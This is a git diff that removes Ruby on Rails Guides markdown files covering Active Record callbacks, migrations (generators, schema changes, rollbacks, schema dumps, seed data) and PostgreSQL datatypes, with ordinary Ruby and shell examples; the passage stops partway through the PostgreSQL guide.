- def self.after_destroy(picture_file) - if File.exist?(picture_file.filepath) - File.delete(picture_file.filepath) - end - end -end -``` - -If the callback method is declared this way, it won't be necessary to instantiate a `PictureFileCallbacks` object. - -```ruby -class PictureFile < ApplicationRecord - after_destroy PictureFileCallbacks -end -``` - -You can declare as many callbacks as you want inside your callback classes. - -Transaction Callbacks ---------------------- - -There are two additional callbacks that are triggered by the completion of a database transaction: `after_commit` and `after_rollback`. These callbacks are very similar to the `after_save` callback except that they don't execute until after database changes have either been committed or rolled back. They are most useful when your active record models need to interact with external systems which are not part of the database transaction. - -Consider, for example, the previous example where the `PictureFile` model needs to delete a file after the corresponding record is destroyed. If anything raises an exception after the `after_destroy` callback is called and the transaction rolls back, the file will have been deleted and the model will be left in an inconsistent state. For example, suppose that `picture_file_2` in the code below is not valid and the `save!` method raises an error. - -```ruby -PictureFile.transaction do - picture_file_1.destroy - picture_file_2.save! -end -``` - -By using the `after_commit` callback we can account for this case. - -```ruby -class PictureFile < ApplicationRecord - after_commit :delete_picture_file_from_disk, on: :destroy - - def delete_picture_file_from_disk - if File.exist?(filepath) - File.delete(filepath) - end - end -end -``` - -NOTE: The `:on` option specifies when a callback will be fired. If you -don't supply the `:on` option the callback will fire for every action. - -Since using `after_commit` callback only on create, update or delete is -common, there are aliases for those operations: - -* `after_create_commit` -* `after_update_commit` -* `after_destroy_commit` - -```ruby -class PictureFile < ApplicationRecord - after_destroy_commit :delete_picture_file_from_disk - - def delete_picture_file_from_disk - if File.exist?(filepath) - File.delete(filepath) - end - end -end -``` - -WARNING. The `after_commit` and `after_rollback` callbacks are called for all models created, updated, or destroyed within a transaction block. However, if an exception is raised within one of these callbacks, the exception will bubble up and any remaining `after_commit` or `after_rollback` methods will _not_ be executed. As such, if your callback code could raise an exception, you'll need to rescue it and handle it within the callback in order to allow other callbacks to run. diff --git a/source/active_record_migrations.md b/source/active_record_migrations.md deleted file mode 100644 index 6e7e29e..0000000 --- a/source/active_record_migrations.md +++ /dev/null @@ -1,1055 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Active Record Migrations -======================== - -Migrations are a feature of Active Record that allows you to evolve your -database schema over time. Rather than write schema modifications in pure SQL, -migrations allow you to use an easy Ruby DSL to describe changes to your -tables. - -After reading this guide, you will know: - -* The generators you can use to create them. -* The methods Active Record provides to manipulate your database. -* The bin/rails tasks that manipulate migrations and your schema. -* How migrations relate to `schema.rb`. - --------------------------------------------------------------------------------- - -Migration Overview ------------------- - -Migrations are a convenient way to -[alter your database schema over time](http://en.wikipedia.org/wiki/Schema_migration) -in a consistent and easy way. They use a Ruby DSL so that you don't have to -write SQL by hand, allowing your schema and changes to be database independent. - -You can think of each migration as being a new 'version' of the database. A -schema starts off with nothing in it, and each migration modifies it to add or -remove tables, columns, or entries. Active Record knows how to update your -schema along this timeline, bringing it from whatever point it is in the -history to the latest version. Active Record will also update your -`db/schema.rb` file to match the up-to-date structure of your database. - -Here's an example of a migration: - -```ruby -class CreateProducts < ActiveRecord::Migration[5.0] - def change - create_table :products do |t| - t.string :name - t.text :description - - t.timestamps - end - end -end -``` - -This migration adds a table called `products` with a string column called -`name` and a text column called `description`. A primary key column called `id` -will also be added implicitly, as it's the default primary key for all Active -Record models. The `timestamps` macro adds two columns, `created_at` and -`updated_at`. These special columns are automatically managed by Active Record -if they exist. - -Note that we define the change that we want to happen moving forward in time. -Before this migration is run, there will be no table. After, the table will -exist. Active Record knows how to reverse this migration as well: if we roll -this migration back, it will remove the table. - -On databases that support transactions with statements that change the schema, -migrations are wrapped in a transaction. If the database does not support this -then when a migration fails the parts of it that succeeded will not be rolled -back. You will have to rollback the changes that were made by hand. - -NOTE: There are certain queries that can't run inside a transaction. If your -adapter supports DDL transactions you can use `disable_ddl_transaction!` to -disable them for a single migration. - -If you wish for a migration to do something that Active Record doesn't know how -to reverse, you can use `reversible`: - -```ruby -class ChangeProductsPrice < ActiveRecord::Migration[5.0] - def change - reversible do |dir| - change_table :products do |t| - dir.up { t.change :price, :string } - dir.down { t.change :price, :integer } - end - end - end -end -``` - -Alternatively, you can use `up` and `down` instead of `change`: - -```ruby -class ChangeProductsPrice < ActiveRecord::Migration[5.0] - def up - change_table :products do |t| - t.change :price, :string - end - end - - def down - change_table :products do |t| - t.change :price, :integer - end - end -end -``` - -Creating a Migration --------------------- - -### Creating a Standalone Migration - -Migrations are stored as files in the `db/migrate` directory, one for each -migration class. The name of the file is of the form -`YYYYMMDDHHMMSS_create_products.rb`, that is to say a UTC timestamp -identifying the migration followed by an underscore followed by the name -of the migration. The name of the migration class (CamelCased version) -should match the latter part of the file name. For example -`20080906120000_create_products.rb` should define class `CreateProducts` and -`20080906120001_add_details_to_products.rb` should define -`AddDetailsToProducts`. Rails uses this timestamp to determine which migration -should be run and in what order, so if you're copying a migration from another -application or generate a file yourself, be aware of its position in the order. - -Of course, calculating timestamps is no fun, so Active Record provides a -generator to handle making it for you: - -```bash -$ bin/rails generate migration AddPartNumberToProducts -``` - -This will create an empty but appropriately named migration: - -```ruby -class AddPartNumberToProducts < ActiveRecord::Migration[5.0] - def change - end -end -``` - -If the migration name is of the form "AddXXXToYYY" or "RemoveXXXFromYYY" and is -followed by a list of column names and types then a migration containing the -appropriate `add_column` and `remove_column` statements will be created. - -```bash -$ bin/rails generate migration AddPartNumberToProducts part_number:string -``` - -will generate - -```ruby -class AddPartNumberToProducts < ActiveRecord::Migration[5.0] - def change - add_column :products, :part_number, :string - end -end -``` - -If you'd like to add an index on the new column, you can do that as well: - -```bash -$ bin/rails generate migration AddPartNumberToProducts part_number:string:index -``` - -will generate - -```ruby -class AddPartNumberToProducts < ActiveRecord::Migration[5.0] - def change - add_column :products, :part_number, :string - add_index :products, :part_number - end -end -``` - - -Similarly, you can generate a migration to remove a column from the command line: - -```bash -$ bin/rails generate migration RemovePartNumberFromProducts part_number:string -``` - -generates - -```ruby -class RemovePartNumberFromProducts < ActiveRecord::Migration[5.0] - def change - remove_column :products, :part_number, :string - end -end -``` - -You are not limited to one magically generated column. For example: - -```bash -$ bin/rails generate migration AddDetailsToProducts part_number:string price:decimal -``` - -generates - -```ruby -class AddDetailsToProducts < ActiveRecord::Migration[5.0] - def change - add_column :products, :part_number, :string - add_column :products, :price, :decimal - end -end -``` - -If the migration name is of the form "CreateXXX" and is -followed by a list of column names and types then a migration creating the table -XXX with the columns listed will be generated. For example: - -```bash -$ bin/rails generate migration CreateProducts name:string part_number:string -``` - -generates - -```ruby -class CreateProducts < ActiveRecord::Migration[5.0] - def change - create_table :products do |t| - t.string :name - t.string :part_number - end - end -end -``` - -As always, what has been generated for you is just a starting point. You can add -or remove from it as you see fit by editing the -`db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb` file. - -Also, the generator accepts column type as `references` (also available as -`belongs_to`). For instance: - -```bash -$ bin/rails generate migration AddUserRefToProducts user:references -``` - -generates - -```ruby -class AddUserRefToProducts < ActiveRecord::Migration[5.0] - def change - add_reference :products, :user, foreign_key: true - end -end -``` - -This migration will create a `user_id` column and appropriate index. -For more `add_reference` options, visit the [API documentation](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_reference). - -There is also a generator which will produce join tables if `JoinTable` is part of the name: - -```bash -$ bin/rails g migration CreateJoinTableCustomerProduct customer product -``` - -will produce the following migration: - -```ruby -class CreateJoinTableCustomerProduct < ActiveRecord::Migration[5.0] - def change - create_join_table :customers, :products do |t| - # t.index [:customer_id, :product_id] - # t.index [:product_id, :customer_id] - end - end -end -``` - -### Model Generators - -The model and scaffold generators will create migrations appropriate for adding -a new model. This migration will already contain instructions for creating the -relevant table. If you tell Rails what columns you want, then statements for -adding these columns will also be created. For example, running: - -```bash -$ bin/rails generate model Product name:string description:text -``` - -will create a migration that looks like this - -```ruby -class CreateProducts < ActiveRecord::Migration[5.0] - def change - create_table :products do |t| - t.string :name - t.text :description - - t.timestamps - end - end -end -``` - -You can append as many column name/type pairs as you want. - -### Passing Modifiers - -Some commonly used [type modifiers](#column-modifiers) can be passed directly on -the command line. They are enclosed by curly braces and follow the field type: - -For instance, running: - -```bash -$ bin/rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic} -``` - -will produce a migration that looks like this - -```ruby -class AddDetailsToProducts < ActiveRecord::Migration[5.0] - def change - add_column :products, :price, :decimal, precision: 5, scale: 2 - add_reference :products, :supplier, polymorphic: true - end -end -``` - -TIP: Have a look at the generators help output for further details. - -Writing a Migration -------------------- - -Once you have created your migration using one of the generators it's time to -get to work! - -### Creating a Table - -The `create_table` method is one of the most fundamental, but most of the time, -will be generated for you from using a model or scaffold generator. A typical -use would be - -```ruby -create_table :products do |t| - t.string :name -end -``` - -which creates a `products` table with a column called `name` (and as discussed -below, an implicit `id` column). - -By default, `create_table` will create a primary key called `id`. You can change -the name of the primary key with the `:primary_key` option (don't forget to -update the corresponding model) or, if you don't want a primary key at all, you -can pass the option `id: false`. If you need to pass database specific options -you can place an SQL fragment in the `:options` option. For example: - -```ruby -create_table :products, options: "ENGINE=BLACKHOLE" do |t| - t.string :name, null: false -end -``` - -will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table -(when using MySQL or MariaDB, the default is `ENGINE=InnoDB`). - -Also you can pass the `:comment` option with any description for the table -that will be stored in database itself and can be viewed with database administration -tools, such as MySQL Workbench or PgAdmin III. It's highly recommended to specify -comments in migrations for applications with large databases as it helps people -to understand data model and generate documentation. -Currently only the MySQL and PostgreSQL adapters support comments. - -### Creating a Join Table - -The migration method `create_join_table` creates an HABTM (has and belongs to -many) join table. A typical use would be: - -```ruby -create_join_table :products, :categories -``` - -which creates a `categories_products` table with two columns called -`category_id` and `product_id`. These columns have the option `:null` set to -`false` by default. This can be overridden by specifying the `:column_options` -option: - -```ruby -create_join_table :products, :categories, column_options: { null: true } -``` - -By default, the name of the join table comes from the union of the first two -arguments provided to create_join_table, in alphabetical order. -To customize the name of the table, provide a `:table_name` option: - -```ruby -create_join_table :products, :categories, table_name: :categorization -``` - -creates a `categorization` table. - -`create_join_table` also accepts a block, which you can use to add indices -(which are not created by default) or additional columns: - -```ruby -create_join_table :products, :categories do |t| - t.index :product_id - t.index :category_id -end -``` - -### Changing Tables - -A close cousin of `create_table` is `change_table`, used for changing existing -tables. It is used in a similar fashion to `create_table` but the object -yielded to the block knows more tricks. For example: - -```ruby -change_table :products do |t| - t.remove :description, :name - t.string :part_number - t.index :part_number - t.rename :upccode, :upc_code -end -``` - -removes the `description` and `name` columns, creates a `part_number` string -column and adds an index on it. Finally it renames the `upccode` column. - -### Changing Columns - -Like the `remove_column` and `add_column` Rails provides the `change_column` -migration method. - -```ruby -change_column :products, :part_number, :text -``` - -This changes the column `part_number` on products table to be a `:text` field. -Note that `change_column` command is irreversible. - -Besides `change_column`, the `change_column_null` and `change_column_default` -methods are used specifically to change a not null constraint and default -values of a column. - -```ruby -change_column_null :products, :name, false -change_column_default :products, :approved, from: true, to: false -``` - -This sets `:name` field on products to a `NOT NULL` column and the default -value of the `:approved` field from true to false. - -Note: You could also write the above `change_column_default` migration as -`change_column_default :products, :approved, false`, but unlike the previous -example, this would make your migration irreversible. - -### Column Modifiers - -Column modifiers can be applied when creating or changing a column: - -* `limit` Sets the maximum size of the `string/text/binary/integer` fields. -* `precision` Defines the precision for the `decimal` fields, representing the -total number of digits in the number. -* `scale` Defines the scale for the `decimal` fields, representing the -number of digits after the decimal point. -* `polymorphic` Adds a `type` column for `belongs_to` associations. -* `null` Allows or disallows `NULL` values in the column. -* `default` Allows to set a default value on the column. Note that if you -are using a dynamic value (such as a date), the default will only be calculated -the first time (i.e. on the date the migration is applied). -* `index` Adds an index for the column. -* `comment` Adds a comment for the column. - -Some adapters may support additional options; see the adapter specific API docs -for further information. - -NOTE: `null` and `default` cannot be specified via command line. - -### Foreign Keys - -While it's not required you might want to add foreign key constraints to -[guarantee referential integrity](#active-record-and-referential-integrity). - -```ruby -add_foreign_key :articles, :authors -``` - -This adds a new foreign key to the `author_id` column of the `articles` -table. The key references the `id` column of the `authors` table. If the -column names can not be derived from the table names, you can use the -`:column` and `:primary_key` options. - -Rails will generate a name for every foreign key starting with -`fk_rails_` followed by 10 characters which are deterministically -generated from the `from_table` and `column`. -There is a `:name` option to specify a different name if needed. - -NOTE: Active Record only supports single column foreign keys. `execute` and -`structure.sql` are required to use composite foreign keys. See -[Schema Dumping and You](#schema-dumping-and-you). - -Removing a foreign key is easy as well: - -```ruby -# let Active Record figure out the column name -remove_foreign_key :accounts, :branches - -# remove foreign key for a specific column -remove_foreign_key :accounts, column: :owner_id - -# remove foreign key by name -remove_foreign_key :accounts, name: :special_fk_name -``` - -### When Helpers aren't Enough - -If the helpers provided by Active Record aren't enough you can use the `execute` -method to execute arbitrary SQL: - -```ruby -Product.connection.execute("UPDATE products SET price = 'free' WHERE 1=1") -``` - -For more details and examples of individual methods, check the API documentation. -In particular the documentation for -[`ActiveRecord::ConnectionAdapters::SchemaStatements`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html) -(which provides the methods available in the `change`, `up` and `down` methods), -[`ActiveRecord::ConnectionAdapters::TableDefinition`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html) -(which provides the methods available on the object yielded by `create_table`) -and -[`ActiveRecord::ConnectionAdapters::Table`](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/Table.html) -(which provides the methods available on the object yielded by `change_table`). - -### Using the `change` Method - -The `change` method is the primary way of writing migrations. It works for the -majority of cases, where Active Record knows how to reverse the migration -automatically. Currently, the `change` method supports only these migration -definitions: - -* add_column -* add_foreign_key -* add_index -* add_reference -* add_timestamps -* change_column_default (must supply a :from and :to option) -* change_column_null -* create_join_table -* create_table -* disable_extension -* drop_join_table -* drop_table (must supply a block) -* enable_extension -* remove_column (must supply a type) -* remove_foreign_key (must supply a second table) -* remove_index -* remove_reference -* remove_timestamps -* rename_column -* rename_index -* rename_table - -`change_table` is also reversible, as long as the block does not call `change`, -`change_default` or `remove`. - -`remove_column` is reversible if you supply the column type as the third -argument. Provide the original column options too, otherwise Rails can't -recreate the column exactly when rolling back: - -```ruby -remove_column :posts, :slug, :string, null: false, default: '', index: true -``` - -If you're going to need to use any other methods, you should use `reversible` -or write the `up` and `down` methods instead of using the `change` method. - -### Using `reversible` - -Complex migrations may require processing that Active Record doesn't know how -to reverse. You can use `reversible` to specify what to do when running a -migration and what else to do when reverting it. For example: - -```ruby -class ExampleMigration < ActiveRecord::Migration[5.0] - def change - create_table :distributors do |t| - t.string :zipcode - end - - reversible do |dir| - dir.up do - # add a CHECK constraint - execute <<-SQL - ALTER TABLE distributors - ADD CONSTRAINT zipchk - CHECK (char_length(zipcode) = 5) NO INHERIT; - SQL - end - dir.down do - execute <<-SQL - ALTER TABLE distributors - DROP CONSTRAINT zipchk - SQL - end - end - - add_column :users, :home_page_url, :string - rename_column :users, :email, :email_address - end -end -``` - -Using `reversible` will ensure that the instructions are executed in the -right order too. If the previous example migration is reverted, -the `down` block will be run after the `home_page_url` column is removed and -right before the table `distributors` is dropped. - -Sometimes your migration will do something which is just plain irreversible; for -example, it might destroy some data. In such cases, you can raise -`ActiveRecord::IrreversibleMigration` in your `down` block. If someone tries -to revert your migration, an error message will be displayed saying that it -can't be done. - -### Using the `up`/`down` Methods - -You can also use the old style of migration using `up` and `down` methods -instead of the `change` method. -The `up` method should describe the transformation you'd like to make to your -schema, and the `down` method of your migration should revert the -transformations done by the `up` method. In other words, the database schema -should be unchanged if you do an `up` followed by a `down`. For example, if you -create a table in the `up` method, you should drop it in the `down` method. It -is wise to perform the transformations in precisely the reverse order they were -made in the `up` method. The example in the `reversible` section is equivalent to: - -```ruby -class ExampleMigration < ActiveRecord::Migration[5.0] - def up - create_table :distributors do |t| - t.string :zipcode - end - - # add a CHECK constraint - execute <<-SQL - ALTER TABLE distributors - ADD CONSTRAINT zipchk - CHECK (char_length(zipcode) = 5); - SQL - - add_column :users, :home_page_url, :string - rename_column :users, :email, :email_address - end - - def down - rename_column :users, :email_address, :email - remove_column :users, :home_page_url - - execute <<-SQL - ALTER TABLE distributors - DROP CONSTRAINT zipchk - SQL - - drop_table :distributors - end -end -``` - -If your migration is irreversible, you should raise -`ActiveRecord::IrreversibleMigration` from your `down` method. If someone tries -to revert your migration, an error message will be displayed saying that it -can't be done. - -### Reverting Previous Migrations - -You can use Active Record's ability to rollback migrations using the `revert` method: - -```ruby -require_relative '20121212123456_example_migration' - -class FixupExampleMigration < ActiveRecord::Migration[5.0] - def change - revert ExampleMigration - - create_table(:apples) do |t| - t.string :variety - end - end -end -``` - -The `revert` method also accepts a block of instructions to reverse. -This could be useful to revert selected parts of previous migrations. -For example, let's imagine that `ExampleMigration` is committed and it -is later decided it would be best to use Active Record validations, -in place of the `CHECK` constraint, to verify the zipcode. - -```ruby -class DontUseConstraintForZipcodeValidationMigration < ActiveRecord::Migration[5.0] - def change - revert do - # copy-pasted code from ExampleMigration - reversible do |dir| - dir.up do - # add a CHECK constraint - execute <<-SQL - ALTER TABLE distributors - ADD CONSTRAINT zipchk - CHECK (char_length(zipcode) = 5); - SQL - end - dir.down do - execute <<-SQL - ALTER TABLE distributors - DROP CONSTRAINT zipchk - SQL - end - end - - # The rest of the migration was ok - end - end -end -``` - -The same migration could also have been written without using `revert` -but this would have involved a few more steps: reversing the order -of `create_table` and `reversible`, replacing `create_table` -by `drop_table`, and finally replacing `up` by `down` and vice-versa. -This is all taken care of by `revert`. - -NOTE: If you want to add check constraints like in the examples above, -you will have to use `structure.sql` as dump method. See -[Schema Dumping and You](#schema-dumping-and-you). - -Running Migrations ------------------- - -Rails provides a set of bin/rails tasks to run certain sets of migrations. - -The very first migration related bin/rails task you will use will probably be -`rails db:migrate`. In its most basic form it just runs the `change` or `up` -method for all the migrations that have not yet been run. If there are -no such migrations, it exits. It will run these migrations in order based -on the date of the migration. - -Note that running the `db:migrate` task also invokes the `db:schema:dump` task, which -will update your `db/schema.rb` file to match the structure of your database. - -If you specify a target version, Active Record will run the required migrations -(change, up, down) until it has reached the specified version. The version -is the numerical prefix on the migration's filename. For example, to migrate -to version 20080906120000 run: - -```bash -$ bin/rails db:migrate VERSION=20080906120000 -``` - -If version 20080906120000 is greater than the current version (i.e., it is -migrating upwards), this will run the `change` (or `up`) method -on all migrations up to and -including 20080906120000, and will not execute any later migrations. If -migrating downwards, this will run the `down` method on all the migrations -down to, but not including, 20080906120000. - -### Rolling Back - -A common task is to rollback the last migration. For example, if you made a -mistake in it and wish to correct it. Rather than tracking down the version -number associated with the previous migration you can run: - -```bash -$ bin/rails db:rollback -``` - -This will rollback the latest migration, either by reverting the `change` -method or by running the `down` method. If you need to undo -several migrations you can provide a `STEP` parameter: - -```bash -$ bin/rails db:rollback STEP=3 -``` - -will revert the last 3 migrations. - -The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating -back up again. As with the `db:rollback` task, you can use the `STEP` parameter -if you need to go more than one version back, for example: - -```bash -$ bin/rails db:migrate:redo STEP=3 -``` - -Neither of these bin/rails tasks do anything you could not do with `db:migrate`. They -are simply more convenient, since you do not need to explicitly specify the -version to migrate to. - -### Setup the Database - -The `rails db:setup` task will create the database, load the schema and initialize -it with the seed data. - -### Resetting the Database - -The `rails db:reset` task will drop the database and set it up again. This is -functionally equivalent to `rails db:drop db:setup`. - -NOTE: This is not the same as running all the migrations. It will only use the -contents of the current `db/schema.rb` or `db/structure.sql` file. If a migration can't be rolled back, -`rails db:reset` may not help you. To find out more about dumping the schema see -[Schema Dumping and You](#schema-dumping-and-you) section. - -### Running Specific Migrations - -If you need to run a specific migration up or down, the `db:migrate:up` and -`db:migrate:down` tasks will do that. Just specify the appropriate version and -the corresponding migration will have its `change`, `up` or `down` method -invoked, for example: - -```bash -$ bin/rails db:migrate:up VERSION=20080906120000 -``` - -will run the 20080906120000 migration by running the `change` method (or the -`up` method). This task will -first check whether the migration is already performed and will do nothing if -Active Record believes that it has already been run. - -### Running Migrations in Different Environments - -By default running `bin/rails db:migrate` will run in the `development` environment. -To run migrations against another environment you can specify it using the -`RAILS_ENV` environment variable while running the command. For example to run -migrations against the `test` environment you could run: - -```bash -$ bin/rails db:migrate RAILS_ENV=test -``` - -### Changing the Output of Running Migrations - -By default migrations tell you exactly what they're doing and how long it took. -A migration creating a table and adding an index might produce output like this - -```bash -== CreateProducts: migrating ================================================= --- create_table(:products) - -> 0.0028s -== CreateProducts: migrated (0.0028s) ======================================== -``` - -Several methods are provided in migrations that allow you to control all this: - -| Method | Purpose -| -------------------- | ------- -| suppress_messages | Takes a block as an argument and suppresses any output generated by the block. -| say | Takes a message argument and outputs it as is. A second boolean argument can be passed to specify whether to indent or not. -| say_with_time | Outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected. - -For example, this migration: - -```ruby -class CreateProducts < ActiveRecord::Migration[5.0] - def change - suppress_messages do - create_table :products do |t| - t.string :name - t.text :description - t.timestamps - end - end - - say "Created a table" - - suppress_messages {add_index :products, :name} - say "and an index!", true - - say_with_time 'Waiting for a while' do - sleep 10 - 250 - end - end -end -``` - -generates the following output - -```bash -== CreateProducts: migrating ================================================= --- Created a table - -> and an index! --- Waiting for a while - -> 10.0013s - -> 250 rows -== CreateProducts: migrated (10.0054s) ======================================= -``` - -If you want Active Record to not output anything, then running `rails db:migrate -VERBOSE=false` will suppress all output. - -Changing Existing Migrations ----------------------------- - -Occasionally you will make a mistake when writing a migration. If you have -already run the migration, then you cannot just edit the migration and run the -migration again: Rails thinks it has already run the migration and so will do -nothing when you run `rails db:migrate`. You must rollback the migration (for -example with `bin/rails db:rollback`), edit your migration and then run -`rails db:migrate` to run the corrected version. - -In general, editing existing migrations is not a good idea. You will be -creating extra work for yourself and your co-workers and cause major headaches -if the existing version of the migration has already been run on production -machines. Instead, you should write a new migration that performs the changes -you require. Editing a freshly generated migration that has not yet been -committed to source control (or, more generally, which has not been propagated -beyond your development machine) is relatively harmless. - -The `revert` method can be helpful when writing a new migration to undo -previous migrations in whole or in part -(see [Reverting Previous Migrations](#reverting-previous-migrations) above). - -Schema Dumping and You ----------------------- - -### What are Schema Files for? - -Migrations, mighty as they may be, are not the authoritative source for your -database schema. That role falls to either `db/schema.rb` or an SQL file which -Active Record generates by examining the database. They are not designed to be -edited, they just represent the current state of the database. - -There is no need (and it is error prone) to deploy a new instance of an app by -replaying the entire migration history. It is much simpler and faster to just -load into the database a description of the current schema. - -For example, this is how the test database is created: the current development -database is dumped (either to `db/schema.rb` or `db/structure.sql`) and then -loaded into the test database. - -Schema files are also useful if you want a quick look at what attributes an -Active Record object has. This information is not in the model's code and is -frequently spread across several migrations, but the information is nicely -summed up in the schema file. The -[annotate_models](https://github.com/ctran/annotate_models) gem automatically -adds and updates comments at the top of each model summarizing the schema if -you desire that functionality. - -### Types of Schema Dumps - -There are two ways to dump the schema. This is set in `config/application.rb` -by the `config.active_record.schema_format` setting, which may be either `:sql` -or `:ruby`. - -If `:ruby` is selected, then the schema is stored in `db/schema.rb`. If you look -at this file you'll find that it looks an awful lot like one very big -migration: - -```ruby -ActiveRecord::Schema.define(version: 20080906171750) do - create_table "authors", force: true do |t| - t.string "name" - t.datetime "created_at" - t.datetime "updated_at" - end - - create_table "products", force: true do |t| - t.string "name" - t.text "description" - t.datetime "created_at" - t.datetime "updated_at" - t.string "part_number" - end -end -``` - -In many ways this is exactly what it is. This file is created by inspecting the -database and expressing its structure using `create_table`, `add_index`, and so -on. Because this is database-independent, it could be loaded into any database -that Active Record supports. This could be very useful if you were to -distribute an application that is able to run against multiple databases. - -There is however a trade-off: `db/schema.rb` cannot express database specific -items such as triggers, stored procedures or check constraints. While in a -migration you can execute custom SQL statements, the schema dumper cannot -reconstitute those statements from the database. If you are using features like -this, then you should set the schema format to `:sql`. - -Instead of using Active Record's schema dumper, the database's structure will -be dumped using a tool specific to the database (via the `db:structure:dump` -rails task) into `db/structure.sql`. For example, for PostgreSQL, the `pg_dump` -utility is used. For MySQL and MariaDB, this file will contain the output of -`SHOW CREATE TABLE` for the various tables. - -Loading these schemas is simply a question of executing the SQL statements they -contain. By definition, this will create a perfect copy of the database's -structure. Using the `:sql` schema format will, however, prevent loading the -schema into a RDBMS other than the one used to create it. - -### Schema Dumps and Source Control - -Because schema dumps are the authoritative source for your database schema, it -is strongly recommended that you check them into source control. - -`db/schema.rb` contains the current version number of the database. This -ensures conflicts are going to happen in the case of a merge where both -branches touched the schema. When that happens, solve conflicts manually, -keeping the highest version number of the two. - -Active Record and Referential Integrity ---------------------------------------- - -The Active Record way claims that intelligence belongs in your models, not in -the database. As such, features such as triggers or constraints, -which push some of that intelligence back into the database, are not heavily -used. - -Validations such as `validates :foreign_key, uniqueness: true` are one way in -which models can enforce data integrity. The `:dependent` option on -associations allows models to automatically destroy child objects when the -parent is destroyed. Like anything which operates at the application level, -these cannot guarantee referential integrity and so some people augment them -with [foreign key constraints](#foreign-keys) in the database. - -Although Active Record does not provide all the tools for working directly with -such features, the `execute` method can be used to execute arbitrary SQL. - -Migrations and Seed Data ------------------------- - -The main purpose of Rails' migration feature is to issue commands that modify the -schema using a consistent process. Migrations can also be used -to add or modify data. This is useful in an existing database that can't be destroyed -and recreated, such as a production database. - -```ruby -class AddInitialProducts < ActiveRecord::Migration[5.0] - def up - 5.times do |i| - Product.create(name: "Product ##{i}", description: "A product.") - end - end - - def down - Product.delete_all - end -end -``` - -To add initial data after a database is created, Rails has a built-in -'seeds' feature that makes the process quick and easy. This is especially -useful when reloading the database frequently in development and test environments. -It's easy to get started with this feature: just fill up `db/seeds.rb` with some -Ruby code, and run `rails db:seed`: - -```ruby -5.times do |i| - Product.create(name: "Product ##{i}", description: "A product.") -end -``` - -This is generally a much cleaner way to set up the database of a blank -application. diff --git a/source/active_record_postgresql.md b/source/active_record_postgresql.md deleted file mode 100644 index 6d07291..0000000 --- a/source/active_record_postgresql.md +++ /dev/null @@ -1,512 +0,0 @@ -**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.** - -Active Record and PostgreSQL -============================ - -This guide covers PostgreSQL specific usage of Active Record. - -After reading this guide, you will know: - -* How to use PostgreSQL's datatypes. -* How to use UUID primary keys. -* How to implement full text search with PostgreSQL. -* How to back your Active Record models with database views. - --------------------------------------------------------------------------------- - -In order to use the PostgreSQL adapter you need to have at least version 9.1 -installed. Older versions are not supported. - -To get started with PostgreSQL have a look at the -[configuring Rails guide](configuring.html#configuring-a-postgresql-database). -It describes how to properly setup Active Record for PostgreSQL. - -Datatypes ---------- - -PostgreSQL offers a number of specific datatypes. Following is a list of types, -that are supported by the PostgreSQL adapter. - -### Bytea - -* [type definition](http://www.postgresql.org/docs/current/static/datatype-binary.html) -* [functions and operators](http://www.postgresql.org/docs/current/static/functions-binarystring.html) - -```ruby -# db/migrate/20140207133952_create_documents.rb -create_table :documents do |t| - t.binary 'payload' -end - -# app/models/document.rb -class Document < ApplicationRecord -end - -# Usage -data = File.read(Rails.root + "tmp/output.pdf") -Document.create payload: data -``` - -### Array - -* [type definition](http://www.postgresql.org/docs/current/static/arrays.html) -* [functions and operators](http://www.postgresql.org/docs/current/static/functions-array.html) - -```ruby -# db/migrate/20140207133952_create_books.rb -create_table :books do |t| - t.string 'title' - t.string 'tags', array: true - t.integer 'ratings', array: true -end -add_index :books, :tags, using: 'gin' -add_index :books, :ratings, using: 'gin' - -# app/models/book.rb -class Book < ApplicationRecord -end - -# Usage -Book.create title: "Brave New World", - tags: ["fantasy", "fiction"], - ratings: [4, 5] - -## Books for a single tag -Book.where("'fantasy' = ANY (tags)") - -## Books for multiple tags -Book.where("tags @> ARRAY[?]::varchar[]", ["fantasy", "fiction"]) - -## Books with 3 or more ratings -Book.where("array_length(ratings, 1) >= 3") -``` - -### Hstore - -* [type definition](http://www.postgresql.org/docs/current/static/hstore.html) -* [functions and operators](http://www.postgresql.org/docs/current/static/hstore.html#AEN167712) - -NOTE: You need to enable the `hstore` extension to use hstore. - -```ruby -# db/migrate/20131009135255_create_profiles.rb -ActiveRecord::Schema.define do - enable_extension 'hstore' unless extension_enabled?('hstore') - create_table :profiles do |t| - t.hstore 'settings' - end -end - -# app/models/profile.rb -class Profile < ApplicationRecord -end - -# Usage -Profile.create(settings: { "color" => "blue", "resolution" => "800x600" }) - -profile = Profile.first -profile.settings # => {"color"=>"blue", "resolution"=>"800x600"} - -profile.settings = {"color" => "yellow", "resolution" => "1280x1024"} -profile.save! - -Profile.where("settings->'color' = ?", "yellow") -# => #"yellow", "resolution"=>"1280x1024"}>]> -``` - -### JSON - -* [type definition](http://www.postgresql.org/docs/current/static/datatype-json.html) -* [functions and operators](http://www.postgresql.org/docs/current/static/functions-json.html) - -```ruby -# db/migrate/20131220144913_create_events.rb -create_table :events do |t| - t.json 'payload' -end - -# app/models/event.rb -class Event < ApplicationRecord -end - -# Usage -Event.create(payload: { kind: "user_renamed", change: ["jack", "john"]}) - -event = Event.first -event.payload # => {"kind"=>"user_renamed", "change"=>["jack", "john"]} - -## Query based on JSON document -# The -> operator returns the original JSON type (which might be an object), whereas ->> returns text -Event.where("payload->>'kind' = ?", "user_renamed") -``` - -### Range Types - -* [type definition](http://www.postgresql.org/docs/current/static/rangetypes.html) -* [functions and operators](http://www.postgresql.org/docs/current/static/functions-range.html) - -This type is mapped to Ruby [`Range`](http://www.ruby-doc.org/core-2.2.2/Range.html) objects. - -```ruby -# db/migrate/20130923065404_create_events.rb -create_table :events do |t| - t.daterange 'duration' -end - -# app/models/event.rb -class Event < ApplicationRecord -end - -# 